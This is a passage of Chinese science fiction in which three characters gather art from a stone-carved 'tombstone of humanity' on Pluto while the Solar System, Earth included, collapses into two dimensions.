第五部 掩体纪元67年,银河系猎户旋臂2(1 / 2)

第五部 掩体纪元67年,银河系猎户旋臂2

“看看吧,这就是这里的主体。”

罗辑抬起拐杖指指隧洞说。

“那文物呢?”

“在那头的大厅里,那些不重要,那些东西能存放多久,一万年?

十万年?

最多一百万年吧,大部分就都变成灰了,而这些——”罗辑又用拐杖指指周围,“可是打算保存上亿年的。

怎么,你们还以为这里是博物馆吗?

不是,没人来这里参观,这里不是让人参观的。

这一切,只是一块墓碑,人类的墓碑。”

程心看着这昏暗空寂的隧洞,想想刚才看到的一切,确实都充满着死亡的意象。

“怎么想起建这个?”

aa四下张望着问。

“孩子,这就是你见识少了。

我们那时,”罗辑指指程心和自己,“人们常在活着的时候为自己张罗墓地,人类找墓地不太容易,建个墓碑还是可以的嘛。”

他问程心,“你记得萨伊吗?”

程心点点头,“当然记得。”

四个世纪前,在pia工作期间,程心曾在各种会议上见过几次当时的联合国秘书长。

最接近的一次是在pia的一个汇报会上,好像当时维德也在场,她在大屏幕上放着ppt给萨伊讲解阶梯计划的技术流程。

萨伊静静地听着,从头至尾没有提一个问题。

散会后,萨伊走过程心的身边,附在她耳边轻轻说:“你的声音很好听。”

“那也是个美人,这些年我也常想起她。

唉,真的是四百多年前的古人了吗?”

罗辑双手撑着拐杖长叹,“是她最早想起这事,提出应该做些事,使得人类消亡以后文明的一部分遗产和信息能够长久保留。

她计划发射装着文物和信息的无人飞船,当时说那是逃亡主义,她去世后事情就停了。

三个世纪以后,在掩体工程开始时,人们又想起这事儿来了。

你们知道,那一阵子是最提心吊胆的日子,整个世界随时都会完蛋,所以,刚成立的联邦政府就决定,在建掩体工程的同时造一座墓碑,对外叫地球文明博物馆;任命我当那个委员会的主席。

“最初是搞一个挺大的研究项目,研究怎样把信息在地质纪年长度的时间里保存。

最初定的标准是十亿年。

哈,十亿年,开始时那些白痴还以为这挺容易,本来嘛,都能建掩体世界了,这算什么?

但很快他们发现,现代的量子存储器,就是那种一粒米大小可以放下一个大型图书馆的东西,里面的信息最多只能保存两千年左右,两千年后因为内部的什么衰变就不能读取了。

其实这还是说那些质量最好的存储器,根据研究,现有的普通量子存储器,有三分之二在五百年内就会坏。

这下很有意思,本来我们干的这事是那种有闲心的人才干的很超脱的事,一下子成了现实问题,五百年已经有些现实了,我们这不都是四百多年前的人吗?

政府立刻命令博物馆的研究停下来,转而研究怎样备份现代的重要数据,让它们至少在五个世纪后还能读出来,呵呵……后来,从我这里分出一个研究机构,我们才能继续研究博物馆,或者说墓碑。

“科学家发现,要论信息保存的时间,咱们那个时候的存储器还好些,他们找了些公元世纪的u盘和硬盘,有些居然还能读出来。

据实验,这些存储器如果质量好,可以把信息保存五千年左右;特别是我们那时的光盘,如果用特殊金属材料制造,能可靠地保存信息十万年。

但这些都不如印刷品,质量好的印刷品,用特殊的合成纸张和油墨,二十万年后仍能阅读。

但这就到头了,就是说,我们通常用来存储信息的手段,最多只能把信息可靠地保存二十万年。

而他们要存十亿年!

“我们向政府汇报说,按现有的技术,把10g的图形图像信息和1g的文字信息(这是博物馆工程所要求的最基本的信息量)保存十亿年是不可能的,他们不相信,但我们证明了真的不可能,于是他们把保存时间降到一亿年。”

“但这也是一件极其困难的事。

学者们开始寻找那些在漫长的时间中保存下来的信息。

史前古陶器上的图案,保存了一万年左右;欧洲岩洞里发现的壁画,大约有四万年的历史;人类的人猿祖先为制造工具在石头上砸出的刻痕,如果也算信息的话,最早在上新世中期出现,距今约二百五十万年。

可你别说,还真的找到了一亿年前留下来的信息,当然不是人类留下的,是恐龙的脚印。

“研究继续进行,但没有什么进展,科学家们显然已经有了一些结论,但在我面前总是欲言又止。

我对他们说,没什么,不管你们得出的结果多么离奇或离谱,没有其他的结果,我们就应该接受。

我向他们保证,不会有什么东西比我的经历更离奇和离谱的,我不会笑话他们。

于是他们告诉我,基于现代科学在各个学科最先进的理论和技术,根据大量的理论研究和实验的结果,通过对大量方案的综合分析和比较,他们已经得出了把信息保存一亿年左右的方法,他们强调,这是目前已知的唯一可行的方法,它就是——”罗辑把拐杖高举过头,白发长须舞动着,看上去像分开红海的摩西,庄严地喊道,“把字刻在石头上!”

aa嘻嘻笑了起来,但程心没笑,她被深深震撼了。

“把字刻在石头上。”

罗辑又用拐杖指着洞壁说道。

程心走到洞壁前,在黯淡的灯光下,她看到洞壁上密密麻麻地刻满了字,还有浮雕的图形。

洞壁应该不是原始岩石,可能经过了金属注入之类的处理,甚至可能表面完全换成钛合金或黄金一类的耐久金属,但从本质上讲,仍是把字刻在石头上。

刻的字不是太小,每个约有一厘米见方,这应该也是为长久保存考虑,字越小越难保存。

“这样做能保存的信息量就小多了,不到原来的万分之一,但他们也只能接受这个结果。”

罗辑说。

“这灯很奇怪。”

aa说。

程心看看旁边洞壁上的一盏灯,首先注意到它的造型:一只伸出洞壁的手擎着一支火炬。

她觉得这造型很熟悉。

但aa显然指的不是这个,这盏火炬形的灯十分笨重,体积和结构都像古代的探照灯一般,但发出的光却很弱,大约只相当于古代的二十瓦白炽灯泡,透过厚厚的灯罩,只比烛光稍亮一点。

罗辑说:“后面专门为这些灯供电的部分就更大了,像一座发电厂。

这灯可是一项了不起的成果,它内部没有灯丝,也没有激发气体,我不知道发亮的是什么,但能够连续亮十万年!还有你们进来时的那两扇大门,在静止状态下,预计在五十万年的时间里能够正常开启,时间再长就不行了,变形了,那时要再有人进来,就得把门破坏掉。

在那时,这些灯都已经灭了有四十万年了,这里一片黑暗。

但对于一亿年而言,那只是开始……”

程心摘下宇宙服的手套,抚摸着那寒冷石壁上的字迹,然后她背靠着洞壁,看着壁上的灯发呆。

她现在想起来在哪里见过这造型:那是法国先贤祠中的卢梭墓,从墓中就伸出一只这样擎着火炬的手,现在这些灯发出昏黄的弱光,这光不像是电发出的,更像奄奄一息的小火苗。

“孩子,你好像不爱说话。”

罗辑走过来对程心说,声音中有一种程心久违的慈爱。

“她一直是这样。”

aa说。

“哦,我以前爱说话,后来不会说了,现在又爱说了,喋喋不休的,孩子,没让你烦吧?”

程心失神地笑笑说:“哪里,老人家,只是……面对这些我不知该说什么。”

是啊,能说什么呢?

文明像一场五千年的狂奔,不断的进步推动着更快的进步,无数的奇迹催生出更大的奇迹,人类似乎拥有了神一般的力量……但最后发现,真正的力量在时间手里,留下脚印比创造世界更难,在这文明的尽头,他们也只能做远古的婴儿时代做过的事。

把字刻在石头上。

程心仔细观看刻在洞壁上的内容,以一对男女的浮雕开始,也许是想向未来的发现者展示人类的生物学外观,但这一对男女与公元世纪旅行者探测器上带着的金属牌上的图形不同,并非只有呆板的展示功能,表情和形体动作都很生动,多少有些亚当和夏娃的样子。

在他们后面,刻着一些象形文字和楔形文字,这些可能是照着远古文物上面的样子直接刻上去的,现在大概也没有人知道它们的含意,如果是这样,又如何让未来的外星发现者看懂呢?

再往前,程心看到了诗,从格式看是诗,但是字她一个都不认识,只知道那是大篆。

“是《诗经》。”

罗辑说,“再往前,那些拉丁文的东西,是古希腊哲学家著作的片段。

要看到咱们能认识的字儿,还得向前走几十米。”

程心看到那一大片拉丁文下面有一幅浮雕,好像是表现穿着简洁长袍的古希腊学者们在一个被石柱围绕的广场上辩论。

这时,程心有了一个奇怪的念头,她返回去,返回到洞壁的开始处又看了一遍,没找到她想找的东西。

“想找罗塞塔石碑那类东西?”

罗辑问。

“是的,没有辅助译解的系统吗?”

“孩子,这是石刻,不是电脑,那玩意儿怎么刻得出来刻得下?”

aa打量着洞壁,然后瞪大双眼看着罗辑说:“就是说,他们把这些连我们都看不懂的东西刻在这儿,指望将来有外星人能破译它?”

事实是,在遥远未来的外星发现者面前,洞壁上刻下的所有人类经典,其命运大概都与最前面那些远古的象形和楔形文字一样,没“人”能懂。

也许,根本就没指望谁读懂。

当建造者们领略到时间的力量后,他们也不再指望一个已经消亡的文明在地质纪年的未来真能留下些什么,罗辑说过这不是博物馆。

博物馆是给人看的,墓碑是给自己建的。

三人继续向前走,罗辑的拐杖在地面发出有节奏的嗒嗒声。

“我常来这里散步,想一些很有意思的事儿——”罗辑停住脚步,用拐杖指着一幅身着铠甲手持长矛的古代军人浮雕,“这是亚历山大东征,那时他要是再向前走一段,就能在战国晚期与秦相遇,那会发生什么事?

现在会是什么样?”

再向前走一段后,他又用拐杖向洞壁指指点点,这时,刻在上面的文字已经由小篆变成隶书,“哦,到汉朝了,从这儿到后面那一段,中国完成了两次统一,领土的统一和思想的统一,对整个人类文明来说,这是不是好事?

特别是汉朝的独尊儒术,如果换成春秋那样的百家争鸣,那以后又会发生什么,现在又会是什么样?”

他用拐杖在空中画了一个大圈,“在每一个历史断面上,你都能找到一大堆丢失的机遇。”

“像人生。”

程心轻声说。

“哦,不不不,”罗辑连连摇头,“至少对我来说不像,我可是什么都没丢掉,呵呵。”

他关切地看着程心,“孩子,你觉得自己丢失了很多?

那以后可不要再丢失了。”

“没有以后了。”

aa冷冷地说,心想这人到底有些老糊涂了。

他们走到了隧洞的尽头,回头看看这座地下的墓碑,罗辑长叹一声:“唉,本来打算保存一亿年的东西,结果一百年不到就要完了。”

“谁知道呢?

也许二维世界的扁片文明能看到这些。”

aa说。

“呵呵,你想得很有意思,但愿如此……看,这就是存放文物的地方,一共有三个这样的大厅。”

程心和aa转过身,发现眼前的视野再次开阔起来。

这不是陈列厅而是存放仓库,文物都装在整齐码放的大小相同的金属箱里,每只箱子上都贴着详细的标签。

罗辑用拐杖敲了敲旁边的一只金属箱说:“我说过,这里不是主要的部分。

这些东西嘛,大部分的保存年限都在五万年以内,那些雕像据说能保存上百万年,不过我不建议你们搬雕像,虽然在这里搬起来不费劲,但太占地方……好了,你们随便拿吧,挑喜欢的拿。”

aa很兴奋地看着周围的箱子,“我建议咱们多拿些画儿,少拿古籍手稿什么的,反正以后谁也看不懂那些东西了。”

她走到一只金属箱前,在上面一处像按钮的地方按了一下,箱子没有自动打开,也没有信息提示。

程心走过来,很吃力地掀起箱盖,aa从里面拿出了一幅油画。

“原来画也很占地方。”

aa说。

罗辑从扔在一只箱子上的一件工作服中拿出一把小刀和一个改锥,递给她们,“主要是画框大,把框拆了。”

aa拿起改锥正要撬画框,程心却低低地惊叫一声,“啊,不。”

她们看到,这幅画竟是凡·高的《星空》。

程心吃惊并不仅仅因为画的珍贵,她曾经看过这幅画。

那是在四个世纪前,她刚去pia报到不久。

在一个周末,她去了曼哈顿的纽约现代艺术馆,就在那里看到了凡·高的几幅画。

她印象最深的是凡·高对空间的表现,在他的潜意识中,空间肯定是有结构的。

程心当时对理论物理知道得不多,但知道按照弦论,空间与实体一样,也是由无数振动着的微弦构成的,而凡·高画出了这些弦。

在他的画中,空间与山、麦田、房屋和树一样,也充满了细微的躁动,给她印象最深的就是《星空》,没想到她竟在四个世纪后的冥王星上见到了它。

“拆吧拆吧,这样可以多拿些。”

罗辑不以为然地挥挥拐杖说,“你们还以为这些玩意儿价值连城啊?

现在连城本身都一钱不值了。”

于是,她们把画从那个可能有五个世纪历史的画框上拆下来,但仍保留着硬衬底,以免画布弯折后弄坏画面。

然后她们继续拆别的油画,很快空画框就堆了一地。

罗辑不知什么时候走了过来,把手放到一幅不大的油画上。

“这幅给我留下吧。”

程心和aa把那幅画搬到一旁,在一只靠墙的箱子上放好,她们离开时回头扫了一眼,又小小地吃了一惊。

那幅画是《蒙娜丽莎》。

程心和aa继续埋头拆画,aa低声说:“这老家伙很精,留下了最贵的一幅。”

“应该不是这个原因。”

“也许他爱过一个叫蒙娜丽莎的女人?”

罗辑坐在《蒙娜丽莎》旁边,一只老手抚摸着古老的画框,喃喃自语:“我不知道你在这儿,知道的话我会常来看你的。”

听到声音程心抬起头来,看到老罗辑并没有看《蒙娜丽莎》,他的双眼平视着前方,像是看着时光的深处。

不知是不是错觉,程心竟看到那双深陷的老眼中有了泪光。

在冥王星地下的宏伟墓室中,在昏暗的能亮十万年的灯光中,蒙娜丽莎的微笑若隐若现,这微笑使人们困惑了九个世纪,现在则显得更加神秘诡异,似乎包容一切,又似乎一无所有,像正在逼近的死神。

【掩体纪元67年,二维太阳系】

程心和aa把第一批文物向地面运送,除了拆去画框的十多幅油画,还有两尊西周时期的青铜鼎和一批古籍,如果在1g的正常重力下,她们是肯定搬不动这些东西的,但在冥王星的弱重力下,搬运起来并不费劲。

在通过过渡段时,她们按罗辑的叮嘱,先关上里面的门,再打开通向外界的门,否则她们会同文物一起被涌出的空气吹到半空中。

在打开外侧门时,过渡段中的一点空气立刻在冥王星的严寒中被冻成一片飞舞闪亮的冰晶。

她们开始以为照亮冰晶的是“星环”号上的探照灯,但当冰晶飞散后,她们发现远处“星环”号上的探照灯已经关闭了,来自太空的光芒照耀着冥王星的大地,使“星环”号和黑色方碑在白色的地面上投下长长的影子。

她们抬头仰望,立刻在惊骇中后退了两步。

太空中有一双大眼睛在盯着她们。

那是两个发光的椭圆形,其结构像极了眼睛,都有白色或淡黄色的眼白和深色的眼球。

“那个是海王星,那个是天……哦不,是土星!”

aa指着天空说。

两颗类木巨行星已经被二维化。

天王星的轨道在土星之外,但由于前者目前正处于太阳的另一侧,首先跌落到二维的是土星。

二维化后的巨行星应该是圆形,只是从冥王星上看,视线与二维空间平面有一个角度,于是它们在视野中变成了椭圆。

两颗二维行星呈现出清晰的环层结构。

二维海王星主要有三个环区,最外层是蓝色的环,看上去十分艳丽,像这只眼睛的睫毛和眼影,那是由氢气和氦气构成的大气层;中部是白色环,这是海王星厚达两万千米的地幔,曾被行星天文学家称为水—氨大洋;中心的深色区是行星核,由岩石和冰组成,质量相当于一个地球。

二维土星的结构类似,只是外侧没有蓝色环。

每个大环区中还有无数更细小的环区,构成精细的结构。

细看时,这两只巨眼变得像两个年轮,刚刚锯断的大树露出的那种崭新的年轮。

每颗二维行星的附近都有十几个小圆形,那是它们被二维化的卫星。

土星外侧还有淡淡的一个大圆,是二维化的土星环。

太空中仍能够找到太阳,仍然是一个刚能看出形状的小圆盘,发出无力的黄光;而两颗行星远在太阳的另一侧,可见它们二维化后面积的巨大。

但两颗二维行星没有体积,它们厚度为零。

在两颗二维行星发出的光芒中,程心和aa搬着文物穿过白色的降落场,走向“星环”号。

飞船流线型的光洁机体像一面大哈哈镜,把二维行星的映像拉成流畅的长条,这个外形本身不由得让人联想到水滴,呈现出一种令人宽慰的坚固和轻捷感。

在来冥王星的航程中,aa就曾对程心说过,她猜测“星环”号的船体中可能有一定比例的强互作用力材料。

当她们走近时,飞船底部的舱门无声地滑开,她们沿着舷梯把文物搬进舱里,然后摘下头盔,在这温馨的小天地中长出了一口气,感到一阵归来的慰藉,不知不觉中,她们已经把这里当成家了。

程心问飞船a.i.,是否能收到海王星和土星方面的信息。

她的话音刚落,信息窗口就铺天盖地涌出来,像一场要把她们埋葬的彩色雪崩。

这情景让她们想起了一百一十八年前的第一次误报警,不过那一次涌现的信息画面大部分是媒体有组织的报道,而现在,新闻媒体似乎完全消失了,大部分画面没有具体内容,有的一片模糊,有的剧烈晃动,更多的是各种毫无意义的近景;但也有一部分画面被斑斓的色彩所充满,那些色彩都在变幻流动中,呈现出精细复杂的结构,有可能拍摄的是二维平面。

aa请求a.i.筛选出一些有内容的画面,a.i.问她们想要哪方面的信息,程心说要太空城方面的。

泛滥的窗口被瞬间清空,很快出现了有序排列的十几个窗口,其中的一个窗口放大到最前方,a.i.介绍说这是十二小时前海王星群落中欧洲六号太空城的画面,该太空城原属于一个城市组合体,打击警报公布后组合体解体。

这个画面很稳定,视野也很广阔,拍摄的位置可能是在太空城的一个极点附近,展现的几乎是城市的全景。

欧洲六号太空城已经停电,只有几束探照灯把晃动的光圈投射到对面的城区,悬浮在城市中轴线上的三个核聚变太阳都变成了月亮,发出银色的冷光,显然只是为了照明而不再发出热量了。

这是一个标准的椭球构型的大型太空城,城市中的建筑已与程心在半个世纪前看到的有了很大变化。

掩体世界显然处于繁荣时代中,城市建筑不再整齐划一,而是形态各异,高度也增加了许多,有很多建筑的顶端已经接近城市的中轴线。

树形建筑也出现了,看上去规模与地球上的差不多,只是挂在树上的建筑叶子更为密集。

可以想象城市灯海亮起时的壮丽与辉煌,但现在,照耀这一切的只有冰冷的月光,在这种月光中,树形建筑更像巨树了,投下大片的阴影,城市的其余部分则像是巨树森林中华丽的废墟。

太空城已经停止自转,一切都处于失重状态,城市的空间中飘浮着无数没有固定的物体,除了大量的杂物和车辆外,还有整幢的建筑。

城市的中轴线上有一条黑色的云带,连绵在整条中轴线上,连接着两极。

飞船a.i.在画面上划出一个小方框进行局部放大,生成了一个新的窗口画面,程心和aa震惊地发现,那黑色的云带竟是悬浮在中轴线上的人海!失重中的人们有的联结成一团,有的手拉手连成一列长队,更多的人则单独浮在空中。

人们都戴着头盔,身上的衣服也都很密实,应该是太空服——在程心上次苏醒的时代,轻便宇宙服从外观上就已经很难同普通服装区分开了。

每个人都有一个好像是生命维持系统的小背包,或背在背上或提在手中。

不过,大部分人的头盔面罩是打开的,也能看出空中有微风吹过,说明城市中仍保留着正常的大气。

聚变太阳此时发出的确实是冷光,因为在太阳周围聚集了更多的人,也许是为了得到光明和一丝温暖。

已变成月光的银色阳光从密集人海的缝隙中透出,在周围的城市中洒下斑驳的光影。

据飞船a.i.介绍,欧洲六号中的六百多万人口已经有一半乘飞船或太空艇撤离城市,剩下的三百万人中,一部分是因为没有条件撤离,而大多数人是因为明白任何形式的逃离都没有成功的希望。

退一万步说,即使真的成功脱离二维跌落区逃到外太空,以现有的大多数飞船上的生态条件而言,生存也维持不了多久,能够在外太空长期生存的恒星际飞船仍然是极少数人的专利。

人们选择在自己熟悉的地方等待最后的时刻。

画面的声音播放开着,却没有听到什么声音,人海和城市都处于寂静中。

所有人的目光都盯着城市的一个方向,那一带现在仍同城市的其他区域一样,布满鳞次栉比的建筑和纵横交错的街道,没有什么特别的东西,人们都在等待着。

在太阳或月亮如水的冷光中,人们的脸色都如鬼魅般苍白,这使得程心想起一百二十六年前在澳大利亚大陆上的那个血色黎明。

像那时一样,程心又出现了居高临下看蚁穴的感觉,那黑压压的人海像极了飘浮的蚁群。

人海中突然响起一阵惊叫,在太空城赤道上的一点,就是人们目光聚焦的那个地方,突然出现了一个亮点,像是黑屋屋顶出现一个小破口透进阳光一样。

那是欧洲六号最先与二维空间平面接触的位置。

亮点迅速扩大,成为一个椭圆形的发光平面,这就是二维空间平面。

它发出的光芒被周围高大的建筑群切割成许多条光柱,也照亮了中轴线上的人海。

这时,太空城像一艘底部破口的巨轮,在二维平面海洋上沉下去。

二维平面像船内的水面,迅速上升,与平面接触的一切都在瞬间二维化。

建筑群被上升的二维平面齐齐切割,它们的二维形体在平面上扩展开来,由于城内的平面只是二维化后的太空城很小的一部分,二维化的建筑大部分都扩展到太空城的范围之外。

在升起和扩大中的二维平面上,斑斓的色彩和复杂的结构闪电般地向各个方向奔流飞散,仿佛二维平面是一个透镜,正管窥着从下面飞奔而过的色彩斑斓的巨兽。

由于太空城中仍有空气,这时可以听到三维世界跌入二维时的声音——?一种清脆尖锐的碎裂声,仿佛建筑群和太空城本体都是玲珑剔透的玻璃制品,一个巨型碾滚正在轧过这个玻璃城。

随着二维平面的上升,中轴线上的人海开始向与平面相反的方向扩散,就像一道被无形的手缓缓提起的帷幔。

这情景让程心想到她曾见过的由几百万只鸟组成的鸟群的图像,那巨大的鸟群像一个完整的生命体,在黄昏的天空中变换着形状。

很快,太空城的三分之一被二维平面吞没,平面疯狂地闪耀着,不可阻挡地上升,逼近中轴线。

这时已经开始有人跌入平面,他们或者是因为宇宙服上推进器的故障落在后面,或者放弃了逃跑。

他们就像落在水面上的一滴滴彩色墨水,瞬间在平面扩展开来,展现出形态各异的二维人体。

在飞船a.i.拉出的一个放大画面上,可以看到一对情侣拥抱着跌入平面,二维化后的两个人体在平面上并行排列,仍能看出拥抱的样子,但姿态很奇怪,像一个不懂透视原理的孩童笨拙地画出来的。

还有一位母亲,高举着自己还是婴儿的孩子跌入平面,那孩子也只比她在三维世界多活了0.1秒,他们的形体也生动地印在这幅巨画上。

随着平面的上升,落在上面的“人雨”渐渐密集起来,被定格的二维人体成群地涌现在平面上,随后大部分移出了太空城的边界。

当二维平面接近中轴线时,人海已经大部分降落到对面的城市中。

此时,太空城的一半已经消失在二维空间中,二维平面的可见面积达到最大,人们抬头已经看不到昔日对面的城市,只见到一片迷乱的二维天空,向着欧洲六号仍处在三维世界的部分压下来。

现在,从北极的主要出口逃离已经不可能,人群聚集在赤道附近,这里有三个紧急出口,失重中的人群在出口附近拥挤成高高的人山。

二维平面通过了中轴线,吞没了空中的三个聚变太阳,但在二维化过程发出的光芒中,剩下的世界变得更亮了。

一阵低沉的呼啸声响起,这是太空城中的空气泄入太空时发出的声音,这时,赤道上的三个紧急出口已全部敞开,每个出口都有一个足球场大小,直接通向仍然是三维的太空。

飞船a.i.把另一个窗口推到最前面,这是从外部太空中拍摄的欧洲六号的画面。

已经二维化的太空城沿着一个无形的平面广阔地铺展开来,太空城仍处于三维的部分在中央显得很小,且正在迅速向平面沉下去,像一头巨鲸的脊背。

在三维部分的太空城上,有三团黑烟一样的东西在扩散,那是被泄漏的空气形成的狂风吹出来的人群。

二维海洋中的这座三维孤岛不断地下沉和消融,在不到十分钟的时间里,欧洲六号太空城被完全二维化。

画面上显示了二维太空城的全景,难以估计它的面积,肯定十分广阔。

但这已经是一座死城,甚至可以说是城市的一张1∶1的图纸。

在这张超级图纸上反映了城市的所有细节,小到每一颗螺丝钉,每一根纤维,每一只螨虫,甚至每一个细菌,都被精确地画下来,这张图纸的精确度是原子级别的,原三维世界中的每一个原子,都以铁的规则投射到二维空间平面上相应的位置。

绘制这张图纸的一个基本原则是没有重叠,没有任何被遮挡的部分,所有细节都在平面上排列出来,显露无遗。

在这里,复杂代替了宏伟。

读懂这张图纸并不容易,能够看出城市的总体布局,也能够认出一些宏观结构,比如二维的树形建筑仍呈现出树形结构。

不过二维化后的建筑结构变形很大,仅凭想象力从其二维图形推测出原来的三维形状几乎不可能,但毫无疑问,以正确的数学模型为基础的图像处理软件应该能够做到。

在画面上,还可以看到远处另外两座被二维化的太空城。

它们已经不再发光,这些二维城市像飘浮在漆黑太空中的没有厚度的大陆,在无形的二维平面上遥遥相望。

但摄像机(可能是在一艘无人太空艇上)也在向二维平面跌落,很快,二维的欧洲六号占据了整个画面。

那些从紧急出口逃离了欧洲六号的上百万人,此时也随着向二维跌落的三维太空坠向平面,就像在无形瀑布中的蚁群一样。

磅礴的“人雨”撒落在平面上,使二维城市中的人形迅速密集起来。

二维化的人体有很大的面积,但与广阔的二维建筑相比则十分微小,像这张巨画中无数刚能看出人形的小符号。

画面中的三维太空里出现了许多更大的物体,那是更早的时候飞离欧洲六号的小型飞船和太空艇,它们的聚变发动机都开到最大功率,但仍在跌向二维的三维空间中向着平面无助地坠落。

有一瞬间,程心感觉飞船和太空艇喷出的长长的蓝色烈焰能够烧穿那没有厚度的平面,但等离子体射流只是首先被二维化了。

在那些区域,二维建筑物被二维火焰烧得变形扭曲,紧接着,飞船和太空艇纷纷成为巨图的一部分,按照不重叠的规则,二维城市整体扩大为它们让开位置,看上去像是在平面上激起的水波扩散开来。

摄像机继续向平面坠落,程心紧盯着越来越近的二维城市,想在城市中找出活动的迹象,但是没有,除了刚才在火焰中的变形外,二维城市中的一切都处于静止状态,那些二维人体同样一动不动,没有任何生命的迹象。

这是一个死的世界,一张死的画。

镜头继续向平面接近,坠向一个二维人体。

那个四肢张开的人体很快充满了画面,紧接着闪现出复杂的血管经络和肌肉纤维,也许是幻觉,程心似乎看到那二维化的血管中还有红色的二维血液在流动,但仅仅一瞬间,图像消失了。

程心和aa开始第二趟文物的搬运。

她们现在都感觉这么做可能意义不大,因为看到二维城市后她们知道,二维化的过程能够保留三维世界的大部分信息,即使有信息丢失也是在原子级别上的。

由于不重叠的映射规则,二维化后冥王星的地层不会与博物馆中的文物混杂在一起,文物的信息应该能够保留。

但既然承担了这个最后的使命,她们也只能做下去,正如曹彬所说,现在有事情做比单纯等待要好些。

走出飞船,她们发现两颗二维巨行星仍悬在太空中,但变暗了许多,这使得它们下方新出现的一长条光带显得十分醒目。

那条光带是由无数单独的小光斑连成的,连绵着横贯整个天空,像太阳系的一条新项链。

“那是小行星带吧?”

程心问。

“应该是,下面该轮到火星了吧。”

aa说。

“火星现在在太阳的这一侧呢。”

程心最后这句话让两人沉默下来,她们不再看二维化的小行星链,默默地向黑色方碑走去。

下面该轮到地球了。

再次进入博物馆大厅时,她们看到罗辑已经整理好了一批要搬运的文物,其中有许多中国画卷轴。

aa展开了其中的一幅,“《清明上河图》。”

她淡淡地说。

现在,她们已经没有了当初看到绝世珍品时的敬畏和惊喜,在外面那宏大的毁灭面前,这也就是一幅普通的古画而已。

当遥远未来的观察者到来时,在二维太阳系这幅巨画中,很难想象这幅二十四厘米宽、五米长的画真的有什么特别的价值。

程心和aa请罗辑到“星环”号上去,罗辑说他正想出去看看,就去找了一件太空服。

这里有一处很舒适的生活区,是为工作人员建造的,不属于博物馆范畴,里面的设施都是现代化的,没有为长期保存进行的设计。

三人搬着文物走出方碑的大门,立刻看到了正在二维化的地球。

这是第一个跌入二维的固态行星,与海王星和土星相比,二维地球的“年轮”更加清晰精致,从黄色的地幔渐渐过渡到深红色的铁镍地核,但其面积远小于前两者。

与想象中的不同,他们没有看到蓝色。

“我们的海洋呢?”

罗辑问。

“应该在最外一圈呢,二维的水可能是全透明的,看不到。”

aa说。

三人搬着文物箱,沉默地走向“星环”号。

悲伤还没有袭来,就像被利刃划开的伤口,一时还感觉不到痛。

二维地球还是显示出了她的奇观,在她的最外缘渐渐出现了一圈白色的环,最初只是隐约可见,但很快变得清晰醒目了。

那道环洁白无瑕,但质地并不是均匀的,好像由无数细小的白色颗粒构成。

“看,那就是我们的海!”

程心指着空中的二维地球说。

“是的,海水在二维空间结冰了,那里也很冷呢。”

aa说。

“哦——”罗辑想抚胡须,但面罩挡住了他的手。

三人搬着文物进入“星环”号,程心和aa发现,罗辑似乎对飞船很熟悉,他空手走在前面,不用指引就走到了飞船的货运舱。

飞船a.i.也认识他,并且接受他发出的指令。

把文物安置好后,三人回到了生活区,罗辑向a.i.要一杯热茶,很快就有一个程心和aa从来没见过的小机器人给他送来了。

程心让a.i.播放来自地球的信息,a.i.回答说,只收到了很少量的地球方面的视频和音频信息,其中没有可识别的内容。

从打开的几个窗口中看确实如此,都是失去控制的拍摄设备摄下的模糊图像。

a.i.补充说,它能提供飞船监测系统拍摄的地球图像,同时打开了一个大窗口,二维化的地球一下子充满了画面。

看到这个画面时,三个人的第一反应就是不真实,甚至感觉这图像是a.i.自己随意合成出来哄骗他们的。

“天啊,你放的这是什么?”

aa惊叫道。

“这是现在拍摄的地球图像,距离五十个天文单位,角放大率四百五十倍,是七个小时前的地球影像。”

他们再次细看这幅望远镜头拍摄的全息图像,二维地球的主体拍得很清晰,上面的“年轮”比肉眼看时更加细密,可能跌落已经完成,二维地球正在暗下来。

令他们震惊的是冰冻的二维海洋——在最外侧环绕二维地球的白色冰环,他们可以清晰地分辨出组成冰环的颗粒,那竟是——雪花!大得难以想象的雪花,不会是别的东西,它们都呈规则的六边形,但晶枝的形状各异,晶莹剔透,精美绝伦。

在五十个天文单位远处看到雪花本来就有一种强烈的不真实感,而这些超巨型的雪花还在平面上平行排列,绝无重叠,更加剧了这种不真实,这似乎是一种对雪花完全图案化的艺术表现,具有强烈的装饰效果,使得冰冻的二维海洋看上去像一件舞台艺术品。

“那些雪花有多大?”

aa问。

“它们的直径大多在四千千米至五千千米之间。”

飞船a.i.仍然用平淡刻板的声音回答,它没有惊奇的功能。

“比月球还大!”

程心惊叹道。

a.i.另开了几个显示窗口,每个窗口中分别显示出单个的不同雪花的图像。

在这些画面中,它们的大小失去了真实感,仿佛都是放大镜下的小精灵,在雪天飘落到手掌上后马上就会化成一小滴水。

“唔——”罗辑又摸胡子,这次摸到了。

“它是怎么形成的?”

aa大声问。

“不知道,检索不到有关天文尺度的冰晶聚合体知识。”

a.i.回答。

在三维世界中,雪花是按照冰的结晶规律生长的,从理论上说,三维世界的结晶规律并没有限制雪花的大小,曾经有直径达三十八厘米的雪花的记录。

没有人知道二维世界中冰的结晶规律是什么,这种规律竟允许直径五千千米的二维冰晶聚合体出现。

“海王星和土星上都有水,氨也能结晶,为什么没有看到大雪花?”

程心问道。

a.i.再次回答,不知道。

罗辑眯起双眼,欣赏着二维地球的画面说:“海变成这个样子也不错嘛,只有地球才配得上这样的花环。”

“我真想知道,那里的森林变成什么样了,草原变成什么样了,还有那些旧城市,都变成什么样了?”

程心缓缓地说。

悲伤终于降临,aa嘤嘤地哭了起来,程心把目光从二维地球的雪花海洋上移开,眼含热泪沉默着。

罗辑摇头长叹一声,继续喝茶。

悲伤是有节制的,毕竟,那个减少了一个维度的世界也是他们最后的归宿。

在那里,他们将永远与母亲星球同在一个平面上。

三个人决定开始第三趟搬运。

他们走出“星环”号,仰望天空,发现了三颗二维行星,海王星、土星和地球,都变大了许多,二维的小行星带也变粗了,这很明显,不是幻觉。

他们向a.i.提问,得到了这样的回答:

“导航系统已经检测到太阳系的导航参照系发生分裂。

其中参照系一维持原形态,该参照系中的导航标志物:太阳、水星、火星、木星、天王星和冥王星以及部分小行星带和柯伊伯带符合识别标准;参照系二发生大幅度变异,海王星、土星、地球和部分小行星带已经失去导航标志物特征。

参照系一正在向参照系二运动,这导致你们所观察到的现象。”

在另一个方向的天空中,群星的背景前出现了大批移动的星星,这些星星大多发出蓝光,有些还拖着尾迹,它们是向太阳系外逃亡的飞船。

有些飞船从很近的太空中掠过,全功率开动的推进器发出的光芒能在地面上照出移动的人影,只是没有一艘飞船在冥王星上降落。

